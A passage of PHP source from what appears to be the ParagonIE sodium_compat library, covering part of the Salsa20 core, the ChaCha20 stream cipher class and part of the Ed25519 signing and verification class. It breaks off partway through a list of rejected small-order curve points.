            $x1  = $x1->xorInt32($x13->addInt32($x9)->rotateLeft(13));
            $x5  = $x5->xorInt32($x1->addInt32($x13)->rotateLeft(18));

            $x14 = $x14->xorInt32($x10->addInt32($x6)->rotateLeft(7));
            $x2  = $x2->xorInt32($x14->addInt32($x10)->rotateLeft(9));
            $x6  = $x6->xorInt32($x2->addInt32($x14)->rotateLeft(13));
            $x10 = $x10->xorInt32($x6->addInt32($x2)->rotateLeft(18));

            $x3  = $x3->xorInt32($x15->addInt32($x11)->rotateLeft(7));
            $x7  = $x7->xorInt32($x3->addInt32($x15)->rotateLeft(9));
            $x11 = $x11->xorInt32($x7->addInt32($x3)->rotateLeft(13));
            $x15 = $x15->xorInt32($x11->addInt32($x7)->rotateLeft(18));

            $x1  = $x1->xorInt32($x0->addInt32($x3)->rotateLeft(7));
            $x2  = $x2->xorInt32($x1->addInt32($x0)->rotateLeft(9));
            $x3  = $x3->xorInt32($x2->addInt32($x1)->rotateLeft(13));
            $x0  = $x0->xorInt32($x3->addInt32($x2)->rotateLeft(18));

            $x6  = $x6->xorInt32($x5->addInt32($x4)->rotateLeft(7));
            $x7  = $x7->xorInt32($x6->addInt32($x5)->rotateLeft(9));
            $x4  = $x4->xorInt32($x7->addInt32($x6)->rotateLeft(13));
            $x5  = $x5->xorInt32($x4->addInt32($x7)->rotateLeft(18));

            $x11 = $x11->xorInt32($x10->addInt32($x9)->rotateLeft(7));
            $x8  = $x8->xorInt32($x11->addInt32($x10)->rotateLeft(9));
            $x9  = $x9->xorInt32($x8->addInt32($x11)->rotateLeft(13));
            $x10 = $x10->xorInt32($x9->addInt32($x8)->rotateLeft(18));

            $x12 = $x12->xorInt32($x15->addInt32($x14)->rotateLeft(7));
            $x13 = $x13->xorInt32($x12->addInt32($x15)->rotateLeft(9));
            $x14 = $x14->xorInt32($x13->addInt32($x12)->rotateLeft(13));
            $x15 = $x15->xorInt32($x14->addInt32($x13)->rotateLeft(18));
        }

        $x0  = $x0->addInt32($j0);
        $x1  = $x1->addInt32($j1);
        $x2  = $x2->addInt32($j2);
        $x3  = $x3->addInt32($j3);
        $x4  = $x4->addInt32($j4);
        $x5  = $x5->addInt32($j5);
        $x6  = $x6->addInt32($j6);
        $x7  = $x7->addInt32($j7);
        $x8  = $x8->addInt32($j8);
        $x9  = $x9->addInt32($j9);
        $x10 = $x10->addInt32($j10);
        $x11 = $x11->addInt32($j11);
        $x12 = $x12->addInt32($j12);
        $x13 = $x13->addInt32($j13);
        $x14 = $x14->addInt32($j14);
        $x15 = $x15->addInt32($j15);

        return $x0->toReverseString() .
            $x1->toReverseString() .
            $x2->toReverseString() .
            $x3->toReverseString() .
            $x4->toReverseString() .
            $x5->toReverseString() .
            $x6->toReverseString() .
            $x7->toReverseString() .
            $x8->toReverseString() .
            $x9->toReverseString() .
            $x10->toReverseString() .
            $x11->toReverseString() .
            $x12->toReverseString() .
            $x13->toReverseString() .
            $x14->toReverseString() .
            $x15->toReverseString();
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param int $len
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function salsa20($len, $nonce, $key)
    {
        if (self::strlen($key) !== 32) {
            throw new RangeException('Key must be 32 bytes long');
        }
        $kcopy = '' . $key;
        $in = self::substr($nonce, 0, 8) . str_repeat("\0", 8);
        $c = '';
        while ($len >= 64) {
            $c .= self::core_salsa20($in, $kcopy, null);
            $u = 1;
            // Internal counter.
            for ($i = 8; $i < 16; ++$i) {
                $u += self::chrToInt($in[$i]);
                $in[$i] = self::intToChr($u & 0xff);
                $u >>= 8;
            }
            $len -= 64;
        }
        if ($len > 0) {
            $c .= self::substr(
                self::core_salsa20($in, $kcopy, null),
                0,
                $len
            );
        }
        try {
            ParagonIE_Sodium_Compat::memzero($kcopy);
        } catch (SodiumException $ex) {
            $kcopy = null;
        }
        return $c;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $m
     * @param string $n
     * @param int $ic
     * @param string $k
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function salsa20_xor_ic($m, $n, $ic, $k)
    {
        $mlen = self::strlen($m);
        if ($mlen < 1) {
            return '';
        }
        $kcopy = self::substr($k, 0, 32);
        $in = self::substr($n, 0, 8);
        // Initialize the counter
        $in .= ParagonIE_Sodium_Core32_Util::store64_le($ic);

        $c = '';
        while ($mlen >= 64) {
            $block = self::core_salsa20($in, $kcopy, null);
            $c .= self::xorStrings(
                self::substr($m, 0, 64),
                self::substr($block, 0, 64)
            );
            $u = 1;
            for ($i = 8; $i < 16; ++$i) {
                $u += self::chrToInt($in[$i]);
                $in[$i] = self::intToChr($u & 0xff);
                $u >>= 8;
            }

            $mlen -= 64;
            $m = self::substr($m, 64);
        }

        if ($mlen) {
            $block = self::core_salsa20($in, $kcopy, null);
            $c .= self::xorStrings(
                self::substr($m, 0, $mlen),
                self::substr($block, 0, $mlen)
            );
        }
        try {
            ParagonIE_Sodium_Compat::memzero($block);
            ParagonIE_Sodium_Compat::memzero($kcopy);
        } catch (SodiumException $ex) {
            $block = null;
            $kcopy = null;
        }

        return $c;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $message
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function salsa20_xor($message, $nonce, $key)
    {
        return self::xorStrings(
            $message,
            self::salsa20(
                self::strlen($message),
                $nonce,
                $key
            )
        );
    }
}
<?php

if (class_exists('ParagonIE_Sodium_Core32_ChaCha20', false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Core32_ChaCha20
 */
class ParagonIE_Sodium_Core32_ChaCha20 extends ParagonIE_Sodium_Core32_Util
{
    /**
     * The ChaCha20 quarter round function. Works on four 32-bit integers.
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core32_Int32 $a
     * @param ParagonIE_Sodium_Core32_Int32 $b
     * @param ParagonIE_Sodium_Core32_Int32 $c
     * @param ParagonIE_Sodium_Core32_Int32 $d
     * @return array<int, ParagonIE_Sodium_Core32_Int32>
     * @throws SodiumException
     * @throws TypeError
     */
    protected static function quarterRound(
        ParagonIE_Sodium_Core32_Int32 $a,
        ParagonIE_Sodium_Core32_Int32 $b,
        ParagonIE_Sodium_Core32_Int32 $c,
        ParagonIE_Sodium_Core32_Int32 $d
    ) {
        /** @var ParagonIE_Sodium_Core32_Int32 $a */
        /** @var ParagonIE_Sodium_Core32_Int32 $b */
        /** @var ParagonIE_Sodium_Core32_Int32 $c */
        /** @var ParagonIE_Sodium_Core32_Int32 $d */

        # a = PLUS(a,b); d = ROTATE(XOR(d,a),16);
        $a = $a->addInt32($b);
        $d = $d->xorInt32($a)->rotateLeft(16);

        # c = PLUS(c,d); b = ROTATE(XOR(b,c),12);
        $c = $c->addInt32($d);
        $b = $b->xorInt32($c)->rotateLeft(12);

        # a = PLUS(a,b); d = ROTATE(XOR(d,a), 8);
        $a = $a->addInt32($b);
        $d = $d->xorInt32($a)->rotateLeft(8);

        # c = PLUS(c,d); b = ROTATE(XOR(b,c), 7);
        $c = $c->addInt32($d);
        $b = $b->xorInt32($c)->rotateLeft(7);

        return array($a, $b, $c, $d);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core32_ChaCha20_Ctx $ctx
     * @param string $message
     *
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function encryptBytes(
        ParagonIE_Sodium_Core32_ChaCha20_Ctx $ctx,
        $message = ''
    ) {
        $bytes = self::strlen($message);

        /** @var ParagonIE_Sodium_Core32_Int32 $x0 */
        /** @var ParagonIE_Sodium_Core32_Int32 $x1 */
        /** @var ParagonIE_Sodium_Core32_Int32 $x2 */
        /** @var ParagonIE_Sodium_Core32_Int32 $x3 */
        /** @var ParagonIE_Sodium_Core32_Int32 $x4 */
        /** @var ParagonIE_Sodium_Core32_Int32 $x5 */
        /** @var ParagonIE_Sodium_Core32_Int32 $x6 */
        /** @var ParagonIE_Sodium_Core32_Int32 $x7 */
        /** @var ParagonIE_Sodium_Core32_Int32 $x8 */
        /** @var ParagonIE_Sodium_Core32_Int32 $x9 */
        /** @var ParagonIE_Sodium_Core32_Int32 $x10 */
        /** @var ParagonIE_Sodium_Core32_Int32 $x11 */
        /** @var ParagonIE_Sodium_Core32_Int32 $x12 */
        /** @var ParagonIE_Sodium_Core32_Int32 $x13 */
        /** @var ParagonIE_Sodium_Core32_Int32 $x14 */
        /** @var ParagonIE_Sodium_Core32_Int32 $x15 */

        /*
        j0 = ctx->input[0];
        j1 = ctx->input[1];
        j2 = ctx->input[2];
        j3 = ctx->input[3];
        j4 = ctx->input[4];
        j5 = ctx->input[5];
        j6 = ctx->input[6];
        j7 = ctx->input[7];
        j8 = ctx->input[8];
        j9 = ctx->input[9];
        j10 = ctx->input[10];
        j11 = ctx->input[11];
        j12 = ctx->input[12];
        j13 = ctx->input[13];
        j14 = ctx->input[14];
        j15 = ctx->input[15];
        */
        /** @var ParagonIE_Sodium_Core32_Int32 $j0 */
        $j0  = $ctx[0];
        /** @var ParagonIE_Sodium_Core32_Int32 $j1 */
        $j1  = $ctx[1];
        /** @var ParagonIE_Sodium_Core32_Int32 $j2 */
        $j2  = $ctx[2];
        /** @var ParagonIE_Sodium_Core32_Int32 $j3 */
        $j3  = $ctx[3];
        /** @var ParagonIE_Sodium_Core32_Int32 $j4 */
        $j4  = $ctx[4];
        /** @var ParagonIE_Sodium_Core32_Int32 $j5 */
        $j5  = $ctx[5];
        /** @var ParagonIE_Sodium_Core32_Int32 $j6 */
        $j6  = $ctx[6];
        /** @var ParagonIE_Sodium_Core32_Int32 $j7 */
        $j7  = $ctx[7];
        /** @var ParagonIE_Sodium_Core32_Int32 $j8 */
        $j8  = $ctx[8];
        /** @var ParagonIE_Sodium_Core32_Int32 $j9 */
        $j9  = $ctx[9];
        /** @var ParagonIE_Sodium_Core32_Int32 $j10 */
        $j10 = $ctx[10];
        /** @var ParagonIE_Sodium_Core32_Int32 $j11 */
        $j11 = $ctx[11];
        /** @var ParagonIE_Sodium_Core32_Int32 $j12 */
        $j12 = $ctx[12];
        /** @var ParagonIE_Sodium_Core32_Int32 $j13 */
        $j13 = $ctx[13];
        /** @var ParagonIE_Sodium_Core32_Int32 $j14 */
        $j14 = $ctx[14];
        /** @var ParagonIE_Sodium_Core32_Int32 $j15 */
        $j15 = $ctx[15];

        $c = '';
        for (;;) {
            if ($bytes < 64) {
                $message .= str_repeat("\x00", 64 - $bytes);
            }

            $x0 =  clone $j0;
            $x1 =  clone $j1;
            $x2 =  clone $j2;
            $x3 =  clone $j3;
            $x4 =  clone $j4;
            $x5 =  clone $j5;
            $x6 =  clone $j6;
            $x7 =  clone $j7;
            $x8 =  clone $j8;
            $x9 =  clone $j9;
            $x10 = clone $j10;
            $x11 = clone $j11;
            $x12 = clone $j12;
            $x13 = clone $j13;
            $x14 = clone $j14;
            $x15 = clone $j15;

            # for (i = 20; i > 0; i -= 2) {
            for ($i = 20; $i > 0; $i -= 2) {
                # QUARTERROUND( x0,  x4,  x8,  x12)
                list($x0, $x4, $x8, $x12) = self::quarterRound($x0, $x4, $x8, $x12);

                # QUARTERROUND( x1,  x5,  x9,  x13)
                list($x1, $x5, $x9, $x13) = self::quarterRound($x1, $x5, $x9, $x13);

                # QUARTERROUND( x2,  x6,  x10,  x14)
                list($x2, $x6, $x10, $x14) = self::quarterRound($x2, $x6, $x10, $x14);

                # QUARTERROUND( x3,  x7,  x11,  x15)
                list($x3, $x7, $x11, $x15) = self::quarterRound($x3, $x7, $x11, $x15);

                # QUARTERROUND( x0,  x5,  x10,  x15)
                list($x0, $x5, $x10, $x15) = self::quarterRound($x0, $x5, $x10, $x15);

                # QUARTERROUND( x1,  x6,  x11,  x12)
                list($x1, $x6, $x11, $x12) = self::quarterRound($x1, $x6, $x11, $x12);

                # QUARTERROUND( x2,  x7,  x8,  x13)
                list($x2, $x7, $x8, $x13) = self::quarterRound($x2, $x7, $x8, $x13);

                # QUARTERROUND( x3,  x4,  x9,  x14)
                list($x3, $x4, $x9, $x14) = self::quarterRound($x3, $x4, $x9, $x14);
            }
            /*
            x0 = PLUS(x0, j0);
            x1 = PLUS(x1, j1);
            x2 = PLUS(x2, j2);
            x3 = PLUS(x3, j3);
            x4 = PLUS(x4, j4);
            x5 = PLUS(x5, j5);
            x6 = PLUS(x6, j6);
            x7 = PLUS(x7, j7);
            x8 = PLUS(x8, j8);
            x9 = PLUS(x9, j9);
            x10 = PLUS(x10, j10);
            x11 = PLUS(x11, j11);
            x12 = PLUS(x12, j12);
            x13 = PLUS(x13, j13);
            x14 = PLUS(x14, j14);
            x15 = PLUS(x15, j15);
            */
            $x0 = $x0->addInt32($j0);
            $x1 = $x1->addInt32($j1);
            $x2 = $x2->addInt32($j2);
            $x3 = $x3->addInt32($j3);
            $x4 = $x4->addInt32($j4);
            $x5 = $x5->addInt32($j5);
            $x6 = $x6->addInt32($j6);
            $x7 = $x7->addInt32($j7);
            $x8 = $x8->addInt32($j8);
            $x9 = $x9->addInt32($j9);
            $x10 = $x10->addInt32($j10);
            $x11 = $x11->addInt32($j11);
            $x12 = $x12->addInt32($j12);
            $x13 = $x13->addInt32($j13);
            $x14 = $x14->addInt32($j14);
            $x15 = $x15->addInt32($j15);

            /*
            x0 = XOR(x0, LOAD32_LE(m + 0));
            x1 = XOR(x1, LOAD32_LE(m + 4));
            x2 = XOR(x2, LOAD32_LE(m + 8));
            x3 = XOR(x3, LOAD32_LE(m + 12));
            x4 = XOR(x4, LOAD32_LE(m + 16));
            x5 = XOR(x5, LOAD32_LE(m + 20));
            x6 = XOR(x6, LOAD32_LE(m + 24));
            x7 = XOR(x7, LOAD32_LE(m + 28));
            x8 = XOR(x8, LOAD32_LE(m + 32));
            x9 = XOR(x9, LOAD32_LE(m + 36));
            x10 = XOR(x10, LOAD32_LE(m + 40));
            x11 = XOR(x11, LOAD32_LE(m + 44));
            x12 = XOR(x12, LOAD32_LE(m + 48));
            x13 = XOR(x13, LOAD32_LE(m + 52));
            x14 = XOR(x14, LOAD32_LE(m + 56));
            x15 = XOR(x15, LOAD32_LE(m + 60));
            */
            $x0  =  $x0->xorInt32(ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($message,  0, 4)));
            $x1  =  $x1->xorInt32(ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($message,  4, 4)));
            $x2  =  $x2->xorInt32(ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($message,  8, 4)));
            $x3  =  $x3->xorInt32(ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($message, 12, 4)));
            $x4  =  $x4->xorInt32(ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($message, 16, 4)));
            $x5  =  $x5->xorInt32(ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($message, 20, 4)));
            $x6  =  $x6->xorInt32(ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($message, 24, 4)));
            $x7  =  $x7->xorInt32(ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($message, 28, 4)));
            $x8  =  $x8->xorInt32(ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($message, 32, 4)));
            $x9  =  $x9->xorInt32(ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($message, 36, 4)));
            $x10 = $x10->xorInt32(ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($message, 40, 4)));
            $x11 = $x11->xorInt32(ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($message, 44, 4)));
            $x12 = $x12->xorInt32(ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($message, 48, 4)));
            $x13 = $x13->xorInt32(ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($message, 52, 4)));
            $x14 = $x14->xorInt32(ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($message, 56, 4)));
            $x15 = $x15->xorInt32(ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($message, 60, 4)));

            /*
                j12 = PLUSONE(j12);
                if (!j12) {
                    j13 = PLUSONE(j13);
                }
             */
            /** @var ParagonIE_Sodium_Core32_Int32 $j12 */
            $j12 = $j12->addInt(1);
            if ($j12->limbs[0] === 0 && $j12->limbs[1] === 0) {
                $j13 = $j13->addInt(1);
            }

            /*
            STORE32_LE(c + 0, x0);
            STORE32_LE(c + 4, x1);
            STORE32_LE(c + 8, x2);
            STORE32_LE(c + 12, x3);
            STORE32_LE(c + 16, x4);
            STORE32_LE(c + 20, x5);
            STORE32_LE(c + 24, x6);
            STORE32_LE(c + 28, x7);
            STORE32_LE(c + 32, x8);
            STORE32_LE(c + 36, x9);
            STORE32_LE(c + 40, x10);
            STORE32_LE(c + 44, x11);
            STORE32_LE(c + 48, x12);
            STORE32_LE(c + 52, x13);
            STORE32_LE(c + 56, x14);
            STORE32_LE(c + 60, x15);
            */

            $block = $x0->toReverseString() .
                $x1->toReverseString() .
                $x2->toReverseString() .
                $x3->toReverseString() .
                $x4->toReverseString() .
                $x5->toReverseString() .
                $x6->toReverseString() .
                $x7->toReverseString() .
                $x8->toReverseString() .
                $x9->toReverseString() .
                $x10->toReverseString() .
                $x11->toReverseString() .
                $x12->toReverseString() .
                $x13->toReverseString() .
                $x14->toReverseString() .
                $x15->toReverseString();

            /* Partial block */
            if ($bytes < 64) {
                $c .= self::substr($block, 0, $bytes);
                break;
            }

            /* Full block */
            $c .= $block;
            $bytes -= 64;
            if ($bytes <= 0) {
                break;
            }
            $message = self::substr($message, 64);
        }
        /* end for(;;) loop */

        $ctx[12] = $j12;
        $ctx[13] = $j13;
        return $c;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param int $len
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function stream($len = 64, $nonce = '', $key = '')
    {
        return self::encryptBytes(
            new ParagonIE_Sodium_Core32_ChaCha20_Ctx($key, $nonce),
            str_repeat("\x00", $len)
        );
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param int $len
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function ietfStream($len, $nonce = '', $key = '')
    {
        return self::encryptBytes(
            new ParagonIE_Sodium_Core32_ChaCha20_IetfCtx($key, $nonce),
            str_repeat("\x00", $len)
        );
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $message
     * @param string $nonce
     * @param string $key
     * @param string $ic
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function ietfStreamXorIc($message, $nonce = '', $key = '', $ic = '')
    {
        return self::encryptBytes(
            new ParagonIE_Sodium_Core32_ChaCha20_IetfCtx($key, $nonce, $ic),
            $message
        );
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $message
     * @param string $nonce
     * @param string $key
     * @param string $ic
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function streamXorIc($message, $nonce = '', $key = '', $ic = '')
    {
        return self::encryptBytes(
            new ParagonIE_Sodium_Core32_ChaCha20_Ctx($key, $nonce, $ic),
            $message
        );
    }
}
<?php

if (class_exists('ParagonIE_Sodium_Core32_Ed25519', false)) {
    return;
}
if (!class_exists('ParagonIE_Sodium_Core32_Curve25519')) {
    require_once dirname(__FILE__) . '/Curve25519.php';
}

/**
 * Class ParagonIE_Sodium_Core32_Ed25519
 */
abstract class ParagonIE_Sodium_Core32_Ed25519 extends ParagonIE_Sodium_Core32_Curve25519
{
    const KEYPAIR_BYTES = 96;
    const SEED_BYTES = 32;

    /**
     * @internal You should not use this directly from another application
     *
     * @return string (96 bytes)
     * @throws Exception
     * @throws SodiumException
     * @throws TypeError
     */
    public static function keypair()
    {
        $seed = random_bytes(self::SEED_BYTES);
        $pk = '';
        $sk = '';
        self::seed_keypair($pk, $sk, $seed);
        return $sk . $pk;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $pk
     * @param string $sk
     * @param string $seed
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function seed_keypair(&$pk, &$sk, $seed)
    {
        if (self::strlen($seed) !== self::SEED_BYTES) {
            throw new RangeException('crypto_sign keypair seed must be 32 bytes long');
        }

        /** @var string $pk */
        $pk = self::publickey_from_secretkey($seed);
        $sk = $seed . $pk;
        return $sk;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $keypair
     * @return string
     * @throws TypeError
     */
    public static function secretkey($keypair)
    {
        if (self::strlen($keypair) !== self::KEYPAIR_BYTES) {
            throw new RangeException('crypto_sign keypair must be 96 bytes long');
        }
        return self::substr($keypair, 0, 64);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $keypair
     * @return string
     * @throws RangeException
     * @throws TypeError
     */
    public static function publickey($keypair)
    {
        if (self::strlen($keypair) !== self::KEYPAIR_BYTES) {
            throw new RangeException('crypto_sign keypair must be 96 bytes long');
        }
        return self::substr($keypair, 64, 32);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $sk
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function publickey_from_secretkey($sk)
    {
        /** @var string $sk */
        $sk = hash('sha512', self::substr($sk, 0, 32), true);
        $sk[0] = self::intToChr(
            self::chrToInt($sk[0]) & 248
        );
        $sk[31] = self::intToChr(
            (self::chrToInt($sk[31]) & 63) | 64
        );
        return self::sk_to_pk($sk);
    }

    /**
     * @param string $pk
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function pk_to_curve25519($pk)
    {
        if (self::small_order($pk)) {
            throw new SodiumException('Public key is on a small order');
        }
        $A = self::ge_frombytes_negate_vartime($pk);
        $p1 = self::ge_mul_l($A);
        if (!self::fe_isnonzero($p1->X)) {
            throw new SodiumException('Unexpected zero result');
        }

        # fe_1(one_minus_y);
        # fe_sub(one_minus_y, one_minus_y, A.Y);
        # fe_invert(one_minus_y, one_minus_y);
        $one_minux_y = self::fe_invert(
            self::fe_sub(
                self::fe_1(),
                $A->Y
            )
        );


        # fe_1(x);
        # fe_add(x, x, A.Y);
        # fe_mul(x, x, one_minus_y);
        $x = self::fe_mul(
            self::fe_add(self::fe_1(), $A->Y),
            $one_minux_y
        );

        # fe_tobytes(curve25519_pk, x);
        return self::fe_tobytes($x);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $sk
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function sk_to_pk($sk)
    {
        return self::ge_p3_tobytes(
            self::ge_scalarmult_base(
                self::substr($sk, 0, 32)
            )
        );
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $message
     * @param string $sk
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function sign($message, $sk)
    {
        /** @var string $signature */
        $signature = self::sign_detached($message, $sk);
        return $signature . $message;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $message A signed message
     * @param string $pk      Public key
     * @return string         Message (without signature)
     * @throws SodiumException
     * @throws TypeError
     */
    public static function sign_open($message, $pk)
    {
        /** @var string $signature */
        $signature = self::substr($message, 0, 64);

        /** @var string $message */
        $message = self::substr($message, 64);

        if (self::verify_detached($signature, $message, $pk)) {
            return $message;
        }
        throw new SodiumException('Invalid signature');
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $message
     * @param string $sk
     * @return string
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress PossiblyInvalidArgument
     */
    public static function sign_detached($message, $sk)
    {
        # crypto_hash_sha512(az, sk, 32);
        $az =  hash('sha512', self::substr($sk, 0, 32), true);

        # az[0] &= 248;
        # az[31] &= 63;
        # az[31] |= 64;
        $az[0] = self::intToChr(self::chrToInt($az[0]) & 248);
        $az[31] = self::intToChr((self::chrToInt($az[31]) & 63) | 64);

        # crypto_hash_sha512_init(&hs);
        # crypto_hash_sha512_update(&hs, az + 32, 32);
        # crypto_hash_sha512_update(&hs, m, mlen);
        # crypto_hash_sha512_final(&hs, nonce);
        $hs = hash_init('sha512');
        self::hash_update($hs, self::substr($az, 32, 32));
        self::hash_update($hs, $message);
        $nonceHash = hash_final($hs, true);

        # memmove(sig + 32, sk + 32, 32);
        $pk = self::substr($sk, 32, 32);

        # sc_reduce(nonce);
        # ge_scalarmult_base(&R, nonce);
        # ge_p3_tobytes(sig, &R);
        $nonce = self::sc_reduce($nonceHash) . self::substr($nonceHash, 32);
        $sig = self::ge_p3_tobytes(
            self::ge_scalarmult_base($nonce)
        );

        # crypto_hash_sha512_init(&hs);
        # crypto_hash_sha512_update(&hs, sig, 64);
        # crypto_hash_sha512_update(&hs, m, mlen);
        # crypto_hash_sha512_final(&hs, hram);
        $hs = hash_init('sha512');
        self::hash_update($hs, self::substr($sig, 0, 32));
        self::hash_update($hs, self::substr($pk, 0, 32));
        self::hash_update($hs, $message);
        $hramHash = hash_final($hs, true);

        # sc_reduce(hram);
        # sc_muladd(sig + 32, hram, az, nonce);
        $hram = self::sc_reduce($hramHash);
        $sigAfter = self::sc_muladd($hram, $az, $nonce);
        $sig = self::substr($sig, 0, 32) . self::substr($sigAfter, 0, 32);

        try {
            ParagonIE_Sodium_Compat::memzero($az);
        } catch (SodiumException $ex) {
            $az = null;
        }
        return $sig;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $sig
     * @param string $message
     * @param string $pk
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    public static function verify_detached($sig, $message, $pk)
    {
        if (self::strlen($sig) < 64) {
            throw new SodiumException('Signature is too short');
        }
        if ((self::chrToInt($sig[63]) & 240) && self::check_S_lt_L(self::substr($sig, 32, 32))) {
            throw new SodiumException('S < L - Invalid signature');
        }
        if (self::small_order($sig)) {
            throw new SodiumException('Signature is on too small of an order');
        }
        if ((self::chrToInt($sig[63]) & 224) !== 0) {
            throw new SodiumException('Invalid signature');
        }
        $d = 0;
        for ($i = 0; $i < 32; ++$i) {
            $d |= self::chrToInt($pk[$i]);
        }
        if ($d === 0) {
            throw new SodiumException('All zero public key');
        }

        /** @var bool The original value of ParagonIE_Sodium_Compat::$fastMult */
        $orig = ParagonIE_Sodium_Compat::$fastMult;

        // Set ParagonIE_Sodium_Compat::$fastMult to true to speed up verification.
        ParagonIE_Sodium_Compat::$fastMult = true;

        /** @var ParagonIE_Sodium_Core32_Curve25519_Ge_P3 $A */
        $A = self::ge_frombytes_negate_vartime($pk);

        /** @var string $hDigest */
        $hDigest = hash(
            'sha512',
            self::substr($sig, 0, 32) .
            self::substr($pk, 0, 32) .
            $message,
            true
        );

        /** @var string $h */
        $h = self::sc_reduce($hDigest) . self::substr($hDigest, 32);

        /** @var ParagonIE_Sodium_Core32_Curve25519_Ge_P2 $R */
        $R = self::ge_double_scalarmult_vartime(
            $h,
            $A,
            self::substr($sig, 32)
        );

        /** @var string $rcheck */
        $rcheck = self::ge_tobytes($R);

        // Reset ParagonIE_Sodium_Compat::$fastMult to what it was before.
        ParagonIE_Sodium_Compat::$fastMult = $orig;

        return self::verify_32($rcheck, self::substr($sig, 0, 32));
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $S
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    public static function check_S_lt_L($S)
    {
        if (self::strlen($S) < 32) {
            throw new SodiumException('Signature must be 32 bytes');
        }
        static $L = array(
            0xed, 0xd3, 0xf5, 0x5c, 0x1a, 0x63, 0x12, 0x58,
            0xd6, 0x9c, 0xf7, 0xa2, 0xde, 0xf9, 0xde, 0x14,
            0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
            0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10
        );
        /** @var array<int, int> $L */
        $c = 0;
        $n = 1;
        $i = 32;

        do {
            --$i;
            $x = self::chrToInt($S[$i]);
            $c |= (
                (($x - $L[$i]) >> 8) & $n
            );
            $n &= (
                (($x ^ $L[$i]) - 1) >> 8
            );
        } while ($i !== 0);

        return $c === 0;
    }

    /**
     * @param string $R
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    public static function small_order($R)
    {
        static $blocklist = array(
            /* 0 (order 4) */
            array(
                0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
                0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
                0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
                0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
            ),
            /* 1 (order 1) */
            array(
                0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
                0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
                0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
                0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
            ),
            /* 2707385501144840649318225287225658788936804267575313519463743609750303402022 (order 8) */
            array(
                0x26, 0xe8, 0x95, 0x8f, 0xc2, 0xb2, 0x27, 0xb0,
                0x45, 0xc3, 0xf4, 0x89, 0xf2, 0xef, 0x98, 0xf0,
                0xd5, 0xdf, 0xac, 0x05, 0xd3, 0xc6, 0x33, 0x39,
                0xb1, 0x38, 0x02, 0x88, 0x6d, 0x53, 0xfc, 0x05
            ),
            /* 55188659117513257062467267217118295137698188065244968500265048394206261417927 (order 8) */
            array(
                0xc7, 0x17, 0x6a, 0x70, 0x3d, 0x4d, 0xd8, 0x4f,
                0xba, 0x3c, 0x0b, 0x76, 0x0d, 0x10, 0x67, 0x0f,
                0x2a, 0x20, 0x53, 0xfa, 0x2c, 0x39, 0xcc, 0xc6,
